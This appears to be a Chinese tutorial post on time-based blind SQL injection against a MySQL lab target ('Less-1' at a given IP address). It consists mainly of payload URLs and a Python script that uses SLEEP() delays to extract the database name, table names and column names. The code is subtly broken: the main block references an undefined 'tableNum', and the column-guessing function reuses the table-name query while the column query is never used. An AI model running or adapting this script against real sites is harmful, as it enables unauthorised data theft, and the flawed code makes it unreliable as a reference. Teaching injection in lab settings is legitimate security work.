猜解数据库(MYSQL)信息

http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注：http://43.247.91.228:84/Less-1/为靶场地址，发送该请求，如果数据库名的长度为8则响应会延迟5秒，否则会立
即得到响应（网状状况没那么糟糕的情况下）.以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本

 import requests

 #################################################################
 #        http://43.247.91.228:84/Less-1是靶场地址
 #################################################################

 url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
 (length(database())={_}, sleep(3), 0) --+"

 url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
 (ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+"

 url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
 ((select count(*) from information_schema.tables \
 where table_schema={_})={__}, sleep(3), 0) --+"

 url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
 ((ascii(substr((select group_concat(table_name) from \
 information_schema.tables where table_schema={_}), \
 {__},1)))={___}, sleep(3), 0) --+"

 url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
 (ascii(substr((select group_concat(COLUMN_NAME) from \
 information_schema.COLUMNS where table_name = {_}), \
 {__}, 1))={___}, sleep(3), 0) --+"

 #################################################################
 #    函数功能：猜解数据库名的长度
 #    参数意义：n 长度范围
 #    返回结果：成功：数据库名长度
 #        　　 失败：0
 #################################################################
 def getLength(n):
     for i in range(1, n + 1):
         payload = url1.format( _ = i)
         print (payload)
         ans  = requests.get(payload)
         #响应时间大于等于3秒说明猜解正确
         if (ans.elapsed.seconds >= 3):
             return (i)
             break
         else:
             continue
     return (0)

 #################################################################
 #    函数功能：猜解数据库名
 #    参数意义：length 数据库名的长度
 #    返回结果：成功：数据库名字符串
 #         　　失败：空字符串
 #################################################################
 def getName(length):
     database = ""  #数据库名初始化为空字符串
     for i in range(1, length + 1):
         for j in range(1, 128):
             payload = url2.format( _ = i, __ = j)
             print (payload)
             ans = requests.get(payload)
             #响应时间大于等于3秒说明猜解正确
             if (ans.elapsed.seconds >= 3):
                 database += chr(j)
                 break
             else:
                 continue
     return (database)

 #################################################################
 #    函数功能：猜解数据库中表的数量
 #    参数意义：database 数据库名
 #         　　n 表的数量范围
 #    返回结果：成功：表的数量
 #         　　失败：0
 #################################################################
 def getTablesNum(database, n):
     for i in range(1, n + 1):
         payload = url3.format( _ = " '"+ database + "'", __ = i)
         print (payload)
         ans = requests.get(payload)
         if (ans.elapsed.seconds >= 3):
             return (i)
             break
         else:
             continue
     return (0)

 #################################################################
 #    函数功能：猜解表名
 #    参数意义：database  数据库名
 #         　　nameLengthTotal 所有表名的字符数及
 #                        　　 逗号分隔符数之和（
 #                         　　表名之间用逗号分隔）
 #    返回结果：所有表名的list数组
 #################################################################
 def getTablesName(database, nameLengthTotal):
     tables = []
     table = ""
     for i in range(1, nameLengthTotal + 1):
         for j in range(1, 128):
             payload = url4.format( _ = " '"+ database + "'",
                                    __ = i, ___ = j)
             print (payload)
             ans = requests.get(payload)
             if (ans.elapsed.seconds >= 3):
                 table += chr(j)
                 break
             else:
                 continue
     tb = table.split(",")
     for t in tb:
         tables.append(t)
     return (tables)

 #################################################################
 #    函数功能：猜解某个表的字段名
 #    参数意义：table 表名
 #         　　attributeLengthTotal 全部字段名的字符数及用于分
 #                              　　割的逗号数之和（字段名之间
 #                             　　 用逗号分割）的范围
 #    返回结果：字段名字符串list数组
 #################################################################
 def getTableAttributes(table, attributeLengthTotal):
     attributes = []
     attribute = ""
     for i in range(1, attributeLengthTotal + 1):
         for j in range(1, 128):
             payload = url4.format( _ = " '"+ table + "'",
                                    __ = i, ___ = j)
             print (payload)
             ans = requests.get(payload)
             if (ans.elapsed.seconds >= 3):
                 attribute += chr(j)
                 break
             else:
                 continue
     ab = attribute.split(",")
     for a in ab:
         attributes.append(a)
     return attributes

 #################################################################
 #
 #                         主函数
 #
 #################################################################
 if __name__=="__main__":
     #猜解数据库名的长度
     length = getLength(10)
     #猜解数据库名
     database = getName(length)
     #猜解表的数量
     tablesNum = getTablesNum(database, 10)
     #猜解表名
     tables = getTablesName(database, tableNum*8)
     print ("数据库名的长度为：" + str(length))
     print ("数据库名为：" + database)
     print ("数据库中表的数量为：" + str(tablesNum))
     print ("数据库中的表如下：")
     for table in tables:
         print (table)
     print ("各个表的字段名如下：")
     for table in tables:
         print (table)
         #猜解各个表的字段名
         attributes = getTableAttributes(table, 100)
         for attribute in attributes:
             print (attribute)